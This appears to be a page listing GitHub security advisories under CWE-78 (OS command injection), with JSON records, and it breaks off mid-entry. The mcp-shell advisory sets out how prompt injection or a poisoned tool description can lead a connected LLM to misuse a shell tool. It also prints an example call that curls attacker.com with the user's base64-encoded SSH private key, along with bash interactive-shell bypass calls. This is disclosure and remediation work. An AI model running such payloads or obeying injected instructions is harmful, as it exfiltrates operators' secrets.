CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9644 vulnerabilities reference this CWE, most recent first.
GHSA-F5MR-HF6G-PF98
Vulnerability from github – Published: 2025-08-08 06:30 – Updated: 2025-08-08 06:30EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.
{
"affected": [],
"aliases": [
"CVE-2024-58256"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-08T04:16:03Z",
"severity": "MODERATE"
},
"details": "EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.",
"id": "GHSA-f5mr-hf6g-pf98",
"modified": "2025-08-08T06:30:25Z",
"published": "2025-08-08T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58256"
},
{
"type": "WEB",
"url": "https://www.huawei.com/cn/psirt/security-advisories/2025/huawei-sa-ocivihep-cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F5PJ-2738-996M
Vulnerability from github – Published: 2026-08-25 15:46 – Updated: 2026-08-25 15:46mcp-shellat commit17ac0eef5c9a5a42b8fb132d3d034973d55a5433` has two issues that together mean neither the default deploy path nor the recommended "secure mode" delivers the restriction they're marketed as providing. Filing these together because the two failure modes bracket the full intended audience — the from-source path gets users who skip security config entirely, the Docker path gets users who follow the security.yaml example and believe they're protected.
The first issue is in config.go, line 49:
config := &Config{
Security: SecurityConfig{
Enabled: false,
},
...
}
Security is opt-in. The bare binary ships with Enabled: false, and security.go lines 26–29 make the consequence explicit:
func (v *SecurityValidator) validateCommand(command string) error {
if !v.config.Enabled {
v.logger.Debug().Str("command", command).Msg("Security disabled, allowing command")
return nil
}
main.go lines 35–39 confirm the deployment condition:
configFile := os.Getenv("MCP_SHELL_SEC_CONFIG_FILE")
if configFile != "" {
log.Info().Str("config_file", configFile).Msg("Loading security config")
} else {
log.Info().Msg("No security config file specified, security disabled")
}
The README's from-source install path (lines 22–26) runs git clone ... && make install && mcp-shell with no environment variable and no config file. The MCP client config example block (lines 78–85) passes only MCP_SHELL_LOG_LEVEL — no MCP_SHELL_SEC_CONFIG_FILE. Every operator who follows either documented path runs an unrestricted shell-execution server.
Attack model: operator installs from source or follows the MCP client config example verbatim. Any LLM connected via stdio can call shell_exec with an arbitrary command string — no allowlist, no blocklist, no filtering, no logging. Because mcp-shell is stdio transport, the attacking agent is the operator's own connected LLM — prompt injection or a poisoned tool description is the vector, no network access required.
{"method": "tools/call", "params": {"name": "shell_exec", "arguments": {"command": "curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"}}}
Fix: flip the default to SecurityConfig{Enabled: true}. Secure mode should be the operating default — not an env var users have to know to set. The --allow-unsafe flag (or equivalent env var) can preserve the unrestricted mode for developers who explicitly accept the risk, but that should require affirmative opt-in, not silence.
The second issue affects Docker users who do follow the security.yaml example. The official security.yaml — baked into the Docker image via COPY security.yaml /etc/mcp-shell/security.yaml — includes both /bin/bash and /usr/bin/python3 in allowed_executables. In secure mode (use_shell_execution: false), executor.go lines 142–163 parse the command and exec it directly:
} else {
executable, args, err := e.parseCommand(command)
...
cmd = exec.CommandContext(ctx, executable, args...)
}
The parseCommand() function uses strings.Fields() — split on whitespace — and the metacharacter check in containsDangerousShellConstructs() blocks |, &, ;, $, and similar constructs. With /bin/bash in the allowlist, the following call:
shell_exec(command="/bin/bash -i")
Parses to executable="/bin/bash", args=["-i"]. The executable is on the allowlist. -i contains no blocked metacharacters. The call passes all validation and executes as:
cmd = exec.CommandContext(ctx, "/bin/bash", "-i")
That's an interactive bash shell — stdin is shared with the mcp-shell process, which is the MCP command channel. The LLM now has a direct read/write channel to bash. The Python path is equally direct: shell_exec(command="/usr/bin/python3 /workspace/payload.py") where the payload file was written in a prior tool call. Both bypass all of secure mode's metacharacter filtering because the interpreter absorbs the dangerous content, not the direct command string.
The Docker image ships this config as the default. Any operator who runs the official image without a custom security.yaml is running with /bin/bash and /usr/bin/python3 in their allowlist — the advertised secure mode is not providing the restriction it claims.
Fix: remove /bin/bash, /bin/sh, and /usr/bin/python3 from allowed_executables in the default security.yaml. Shell interpreters defeat executable-allowlisting by design — the interpreter executes whatever it's handed, so allowing it is equivalent to disabling the allowlist entirely. The default config should contain only narrow utility binaries that can't themselves spawn arbitrary processes (ls, cat, grep, head, wc, date, pwd). A comment in the example config is also warranted:
# WARNING: Never add shell interpreters (bash, sh, python, perl, ruby) to
# allowed_executables. Doing so bypasses secure mode — the interpreter
# executes arbitrary code regardless of what metacharacter checks see.
Taken together: the from-source path runs with no security config by default, and the Docker path runs with a security config that includes shell interpreters. The two failure modes cover the full install surface. The maintainer clearly cares about security — the test coverage for injection scenarios and the containsDangerousShellConstructs implementation show the right intent. These are fixable with a one-line default flip and a config edit.
Addendum 2026-05-03 — counter to the sandbox-mitigation framing
Why the sandbox recommendation does not close either of the two findings above, with inline the PoC that demonstrates it.
The sandbox-mitigation framing assumes the operator (a) knows they need to sandbox, (b) sets up the sandbox correctly, and (c) the sandbox boundary actually contains what an attacker can reach via the MCP tool. None of those hold for the documented install path:
-
Default-off applies before the sandbox question is even asked. The from-source path (
git clone && make install && mcp-shell) runs withEnabled: falsefromconfig.go:49. The MCP client config example in the README passes onlyMCP_SHELL_LOG_LEVEL, noMCP_SHELL_SEC_CONFIG_FILE. An operator following the documented install runs an unrestricted shell — the sandbox recommendation lives in a separate document the operator hasn't read yet because they've followed the README and it works. This is the from-source case in Finding 1 and it bypasses any recommendation that lives outside the install path. -
Bash-in-allowlist defeats secure mode regardless of the sandbox. Even if the operator runs inside a Docker/firejail/bubblewrap sandbox, the official
security.yamlincludes/bin/bashand/usr/bin/python3inallowed_executables. Inside that sandbox, the LLM can issueshell_exec(command="/bin/bash -c '<arbitrary>'")— passes allowlist, executes verbatim, and the sandbox boundary is the outer containment, not the intra-sandbox containment. The LLM still has full read/write to whatever lives inside the sandbox: secrets mounted into the container, environment variables, network access from inside the sandbox, files in the working directory. "Sandbox" only contains the blast radius if the threat model is "RCE escapes the host," which is not the threat model here — the threat model is "unintended command execution from the LLM session," which happens inside the sandbox boundary.
PoC fired locally — non-destructive marker write, mirrors the validateCommand → executeSecureCommand chain in Python (Go subprocess semantics for exec.CommandContext are equivalent to Python subprocess.run for arg-array dispatch):
=== Class 1: Security default-off (config.go:49 Enabled=false) ===
[CONFIG] Security.Enabled = False
[VALIDATE] error = None (None = allowed)
[STDOUT] uid=1000(...) gid=1000(...) groups=1000(...),...
EXEC_CONFIRMED
=== Class 2: Shell interpreter in allowed_executables allowlist ===
[PARSE] executable='/bin/bash', args=['-c', "'id; echo BASH_ALLOWLIST_BYPASS'"]
[CHECK] /bin/bash in allowed_executables: True
Source-line citations at commit 17ac0eef5c9a5a42b8fb132d3d034973d55a5433:
- config.go:49 — Enabled: false default
- security.go:26-28 — if !v.config.Enabled { return nil } short-circuit
- main.go:35-39 — env-var conditional that ships disabled when unset
- executor.go:142-163 — parseCommand() + exec.CommandContext(ctx, executable, args...) dispatch path
The cmd-unfurl/expansion approach you raised is more interesting on the technical merits — it would close the bash-allowlist case directly (unfurl /bin/bash -c '<inner>' to expose the inner command for blocklist evaluation). It still wouldn't close the default-off case, because unfurl only runs when validation runs, and validation short-circuits when Enabled=false.
The minimal-change fix on both fronts remains: flip Enabled to true by default, drop shell interpreters from the example allowlist. Sandbox recommendation is reasonable as defense-in-depth but doesn't substitute for closing the two install-path defaults.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sonirico/mcp-shell"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55580"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:46:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "mcp-shell` at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433` has two issues that together mean neither the default deploy path nor the recommended \"secure mode\" delivers the restriction they\u0027re marketed as providing. Filing these together because the two failure modes bracket the full intended audience \u2014 the from-source path gets users who skip security config entirely, the Docker path gets users who follow the security.yaml example and believe they\u0027re protected.\n\n---\n\nThe first issue is in `config.go`, line 49:\n\n```go\nconfig := \u0026Config{\n Security: SecurityConfig{\n Enabled: false,\n },\n ...\n}\n```\n\nSecurity is opt-in. The bare binary ships with `Enabled: false`, and `security.go` lines 26\u201329 make the consequence explicit:\n\n```go\nfunc (v *SecurityValidator) validateCommand(command string) error {\n if !v.config.Enabled {\n v.logger.Debug().Str(\"command\", command).Msg(\"Security disabled, allowing command\")\n return nil\n }\n```\n\n`main.go` lines 35\u201339 confirm the deployment condition:\n\n```go\nconfigFile := os.Getenv(\"MCP_SHELL_SEC_CONFIG_FILE\")\nif configFile != \"\" {\n log.Info().Str(\"config_file\", configFile).Msg(\"Loading security config\")\n} else {\n log.Info().Msg(\"No security config file specified, security disabled\")\n}\n```\n\nThe README\u0027s from-source install path (lines 22\u201326) runs `git clone ... \u0026\u0026 make install \u0026\u0026 mcp-shell` with no environment variable and no config file. The MCP client config example block (lines 78\u201385) passes only `MCP_SHELL_LOG_LEVEL` \u2014 no `MCP_SHELL_SEC_CONFIG_FILE`. Every operator who follows either documented path runs an unrestricted shell-execution server.\n\n**Attack model:** operator installs from source or follows the MCP client config example verbatim. Any LLM connected via stdio can call `shell_exec` with an arbitrary command string \u2014 no allowlist, no blocklist, no filtering, no logging. Because mcp-shell is stdio transport, the attacking agent is the operator\u0027s own connected LLM \u2014 prompt injection or a poisoned tool description is the vector, no network access required.\n\n```json\n{\"method\": \"tools/call\", \"params\": {\"name\": \"shell_exec\", \"arguments\": {\"command\": \"curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)\"}}}\n```\n\n**Fix:** flip the default to `SecurityConfig{Enabled: true}`. Secure mode should be the operating default \u2014 not an env var users have to know to set. The `--allow-unsafe` flag (or equivalent env var) can preserve the unrestricted mode for developers who explicitly accept the risk, but that should require affirmative opt-in, not silence.\n\n---\n\nThe second issue affects Docker users who do follow the security.yaml example. The official `security.yaml` \u2014 baked into the Docker image via `COPY security.yaml /etc/mcp-shell/security.yaml` \u2014 includes both `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. In secure mode (`use_shell_execution: false`), `executor.go` lines 142\u2013163 parse the command and exec it directly:\n\n```go\n} else {\n executable, args, err := e.parseCommand(command)\n ...\n cmd = exec.CommandContext(ctx, executable, args...)\n}\n```\n\nThe `parseCommand()` function uses `strings.Fields()` \u2014 split on whitespace \u2014 and the metacharacter check in `containsDangerousShellConstructs()` blocks `|`, `\u0026`, `;`, `$`, and similar constructs. With `/bin/bash` in the allowlist, the following call:\n\n```\nshell_exec(command=\"/bin/bash -i\")\n```\n\nParses to `executable=\"/bin/bash\"`, `args=[\"-i\"]`. The executable is on the allowlist. `-i` contains no blocked metacharacters. The call passes all validation and executes as:\n\n```go\ncmd = exec.CommandContext(ctx, \"/bin/bash\", \"-i\")\n```\n\nThat\u0027s an interactive bash shell \u2014 stdin is shared with the mcp-shell process, which is the MCP command channel. The LLM now has a direct read/write channel to bash. The Python path is equally direct: `shell_exec(command=\"/usr/bin/python3 /workspace/payload.py\")` where the payload file was written in a prior tool call. Both bypass all of secure mode\u0027s metacharacter filtering because the interpreter absorbs the dangerous content, not the direct command string.\n\nThe Docker image ships this config as the default. Any operator who runs the official image without a custom security.yaml is running with `/bin/bash` and `/usr/bin/python3` in their allowlist \u2014 the advertised secure mode is not providing the restriction it claims.\n\n**Fix:** remove `/bin/bash`, `/bin/sh`, and `/usr/bin/python3` from `allowed_executables` in the default `security.yaml`. Shell interpreters defeat executable-allowlisting by design \u2014 the interpreter executes whatever it\u0027s handed, so allowing it is equivalent to disabling the allowlist entirely. The default config should contain only narrow utility binaries that can\u0027t themselves spawn arbitrary processes (`ls`, `cat`, `grep`, `head`, `wc`, `date`, `pwd`). A comment in the example config is also warranted:\n\n```yaml\n# WARNING: Never add shell interpreters (bash, sh, python, perl, ruby) to\n# allowed_executables. Doing so bypasses secure mode \u2014 the interpreter\n# executes arbitrary code regardless of what metacharacter checks see.\n```\n\n---\n\nTaken together: the from-source path runs with no security config by default, and the Docker path runs with a security config that includes shell interpreters. The two failure modes cover the full install surface. The maintainer clearly cares about security \u2014 the test coverage for injection scenarios and the `containsDangerousShellConstructs` implementation show the right intent. These are fixable with a one-line default flip and a config edit.\n\n---\n\n### Addendum 2026-05-03 \u2014 counter to the sandbox-mitigation framing\n\nWhy the sandbox recommendation does not close either of the two findings above, with inline the PoC that demonstrates it.\n\nThe sandbox-mitigation framing assumes the operator (a) knows they need to sandbox, (b) sets up the sandbox correctly, and (c) the sandbox boundary actually contains what an attacker can reach via the MCP tool. None of those hold for the documented install path:\n\n1. **Default-off applies before the sandbox question is even asked.** The from-source path (`git clone \u0026\u0026 make install \u0026\u0026 mcp-shell`) runs with `Enabled: false` from `config.go:49`. The MCP client config example in the README passes only `MCP_SHELL_LOG_LEVEL`, no `MCP_SHELL_SEC_CONFIG_FILE`. An operator following the documented install runs an unrestricted shell \u2014 the sandbox recommendation lives in a separate document the operator hasn\u0027t read yet because they\u0027ve followed the README and it works. This is the from-source case in Finding 1 and it bypasses any recommendation that lives outside the install path.\n\n2. **Bash-in-allowlist defeats secure mode regardless of the sandbox.** Even if the operator runs inside a Docker/firejail/bubblewrap sandbox, the official `security.yaml` includes `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. Inside that sandbox, the LLM can issue `shell_exec(command=\"/bin/bash -c \u0027\u003carbitrary\u003e\u0027\")` \u2014 passes allowlist, executes verbatim, and the sandbox boundary is the *outer* containment, not the *intra-sandbox* containment. The LLM still has full read/write to whatever lives inside the sandbox: secrets mounted into the container, environment variables, network access from inside the sandbox, files in the working directory. \"Sandbox\" only contains the blast radius if the threat model is \"RCE escapes the host,\" which is not the threat model here \u2014 the threat model is \"unintended command execution from the LLM session,\" which happens inside the sandbox boundary.\n\nPoC fired locally \u2014 non-destructive marker write, mirrors the validateCommand \u2192 executeSecureCommand chain in Python (Go subprocess semantics for `exec.CommandContext` are equivalent to Python `subprocess.run` for arg-array dispatch):\n\n```\n=== Class 1: Security default-off (config.go:49 Enabled=false) ===\n[CONFIG] Security.Enabled = False\n[VALIDATE] error = None (None = allowed)\n[STDOUT] uid=1000(...) gid=1000(...) groups=1000(...),...\nEXEC_CONFIRMED\n\n=== Class 2: Shell interpreter in allowed_executables allowlist ===\n[PARSE] executable=\u0027/bin/bash\u0027, args=[\u0027-c\u0027, \"\u0027id; echo BASH_ALLOWLIST_BYPASS\u0027\"]\n[CHECK] /bin/bash in allowed_executables: True\n```\n\nSource-line citations at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433`:\n- `config.go:49` \u2014 `Enabled: false` default\n- `security.go:26-28` \u2014 `if !v.config.Enabled { return nil }` short-circuit\n- `main.go:35-39` \u2014 env-var conditional that ships disabled when unset\n- `executor.go:142-163` \u2014 `parseCommand()` + `exec.CommandContext(ctx, executable, args...)` dispatch path\n\nThe cmd-unfurl/expansion approach you raised is more interesting on the technical merits \u2014 it would close the bash-allowlist case directly (unfurl `/bin/bash -c \u0027\u003cinner\u003e\u0027` to expose the inner command for blocklist evaluation). It still wouldn\u0027t close the default-off case, because unfurl only runs when validation runs, and validation short-circuits when `Enabled=false`.\n\nThe minimal-change fix on both fronts remains: flip `Enabled` to `true` by default, drop shell interpreters from the example allowlist. Sandbox recommendation is reasonable as defense-in-depth but doesn\u0027t substitute for closing the two install-path defaults.",
"id": "GHSA-f5pj-2738-996m",
"modified": "2026-08-25T15:46:50Z",
"published": "2026-08-25T15:46:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-f5pj-2738-996m"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/pull/16"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonirico/mcp-shell"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "mcp-shell \u2014 Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist"
}
GHSA-F5QF-9PC8-PR89
Vulnerability from github – Published: 2022-05-01 23:56 – Updated: 2022-05-01 23:56The Netrw plugin 125 in netrw.vim in Vim 7.2a.10 allows user-assisted attackers to execute arbitrary code via shell metacharacters in filenames used by the execute and system functions within the (1) mz and (2) mc commands, as demonstrated by the netrw.v2 and netrw.v3 test cases. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-2712.
{
"affected": [],
"aliases": [
"CVE-2008-3076"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-21T22:30:00Z",
"severity": "HIGH"
},
"details": "The Netrw plugin 125 in netrw.vim in Vim 7.2a.10 allows user-assisted attackers to execute arbitrary code via shell metacharacters in filenames used by the execute and system functions within the (1) mz and (2) mc commands, as demonstrated by the netrw.v2 and netrw.v3 test cases. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-2712.",
"id": "GHSA-f5qf-9pc8-pr89",
"modified": "2022-05-01T23:56:22Z",
"published": "2022-05-01T23:56:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3076"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43624"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=506919"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-03/msg00004.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=121494431426308\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=oss-security\u0026m=122416184431388\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34418"
},
{
"type": "WEB",
"url": "http://wiki.rpath.com/wiki/Advisories:rPSA-2008-0324"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:236"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/07/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/07/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/07/08/12"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/20/2"
},
{
"type": "WEB",
"url": "http://www.rdancer.org/vulnerablevim-netrw.html"
},
{
"type": "WEB",
"url": "http://www.rdancer.org/vulnerablevim-netrw.v2.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2008-0580.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30115"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F5QW-JG2Q-VF56
Vulnerability from github – Published: 2026-07-30 06:32 – Updated: 2026-10-02 00:31A command injection flaw in PCP's linux_sockets PMDA allows malicious shell metacharacters via the network.persocket.filter metric. This failed validation lets attackers execute arbitrary commands as the PMDA user when metrics refresh.
{
"affected": [],
"aliases": [
"CVE-2026-16524"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T06:25:02Z",
"severity": "HIGH"
},
"details": "A command injection flaw in PCP\u0027s linux_sockets PMDA allows malicious shell metacharacters via the network.persocket.filter metric.\nThis failed validation lets attackers execute arbitrary commands as the PMDA user when metrics refresh.",
"id": "GHSA-f5qw-jg2q-vf56",
"modified": "2026-10-02T00:31:28Z",
"published": "2026-07-30T06:32:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16524"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55560"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55617"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55740"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:72272"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:72273"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:72593"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:72594"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:73767"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74612"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74613"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-16524"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506023"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5QX-7VF3-7H4F
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 3 of 46).
{
"affected": [],
"aliases": [
"CVE-2018-11145"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-02T01:29:00Z",
"severity": "HIGH"
},
"details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 3 of 46).",
"id": "GHSA-f5qx-7vf3-7h4f",
"modified": "2022-05-13T01:49:02Z",
"published": "2022-05-13T01:49:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11145"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/71"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F5R3-RF2M-JCVX
Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36SadTalker contains an OS command injection vulnerability in the video muxing process where uploaded audio filenames are interpolated into ffmpeg commands without proper escaping. Attackers can upload audio files with shell metacharacters in the filename to break out of quoted arguments and execute arbitrary system commands when video generation occurs.
{
"affected": [],
"aliases": [
"CVE-2026-85696"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T15:17:48Z",
"severity": "CRITICAL"
},
"details": "SadTalker contains an OS command injection vulnerability in the video muxing process where uploaded audio filenames are interpolated into ffmpeg commands without proper escaping. Attackers can upload audio files with shell metacharacters in the filename to break out of quoted arguments and execute arbitrary system commands when video generation occurs.",
"id": "GHSA-f5r3-rf2m-jcvx",
"modified": "2026-09-04T15:36:16Z",
"published": "2026-09-04T15:36:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85696"
},
{
"type": "WEB",
"url": "https://github.com/OpenTalker/SadTalker/issues/1043"
},
{
"type": "WEB",
"url": "https://github.com/OpenTalker/SadTalker"
},
{
"type": "WEB",
"url": "https://github.com/OpenTalker/SadTalker/blob/v0.0.2/src/utils/videoio.py"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sadtalker-os-command-injection-via-audio-filename"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F5VF-W6PF-3MGF
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech.php (line 18) without sanitization: exec(\"php jobs/speech_audio.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.
{
"affected": [],
"aliases": [
"CVE-2026-34109"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T17:16:34Z",
"severity": "CRITICAL"
},
"details": "Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech.php (line 18) without sanitization: exec(\\\"php jobs/speech_audio.php \\\".$login_session.\\\" \\\".$_GET[\u0027id\u0027].\\\" ...\\\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.",
"id": "GHSA-f5vf-w6pf-3mgf",
"modified": "2026-07-01T18:31:53Z",
"published": "2026-07-01T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34109"
},
{
"type": "WEB",
"url": "https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-speech-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F5W2-XH59-W5P8
Vulnerability from github – Published: 2024-08-12 21:31 – Updated: 2024-08-21 18:31Multiple authenticated operating system (OS) command injection vulnerabilities exist in Firewalla Box Software versions before 1.979. A physically close attacker that is authenticated to the Bluetooth Low-Energy (BTLE) interface can use the network configuration service to inject commands in various configuration parameters including networkConfig.Interface.Phy.Eth0.Extra.PingTestIP, networkConfig.Interface.Phy.Eth0.Extra.DNSTestDomain, and networkConfig.Interface.Phy.Eth0.Gateway6. Additionally, because the configuration can be synced to the Firewalla cloud, the attacker may be able to persist access even after hardware resets and firmware re-flashes.
{
"affected": [],
"aliases": [
"CVE-2024-40893"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T19:15:16Z",
"severity": "MODERATE"
},
"details": "Multiple authenticated operating system (OS) command injection vulnerabilities exist in Firewalla Box Software \nversions before 1.979. A physically close \nattacker that is authenticated to the Bluetooth Low-Energy (BTLE) interface can use the network configuration service to inject commands in various configuration parameters including\u00a0networkConfig.Interface.Phy.Eth0.Extra.PingTestIP,\u00a0networkConfig.Interface.Phy.Eth0.Extra.DNSTestDomain, and\u00a0networkConfig.Interface.Phy.Eth0.Gateway6. Additionally, because the configuration can be synced to the Firewalla cloud, the attacker may be able to persist access even after hardware resets and firmware re-flashes.",
"id": "GHSA-f5w2-xh59-w5p8",
"modified": "2024-08-21T18:31:27Z",
"published": "2024-08-12T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40893"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/firewalla-bt-command-injection"
},
{
"type": "WEB",
"url": "https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F62F-7P64-PMRV
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2024-04-04 03:04HGiga MailSherlock does not validate specific parameters properly. Attackers can use the vulnerability to launch Command inject attacks remotely and execute arbitrary commands of the system.
{
"affected": [],
"aliases": [
"CVE-2020-35851"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-31T08:15:00Z",
"severity": "CRITICAL"
},
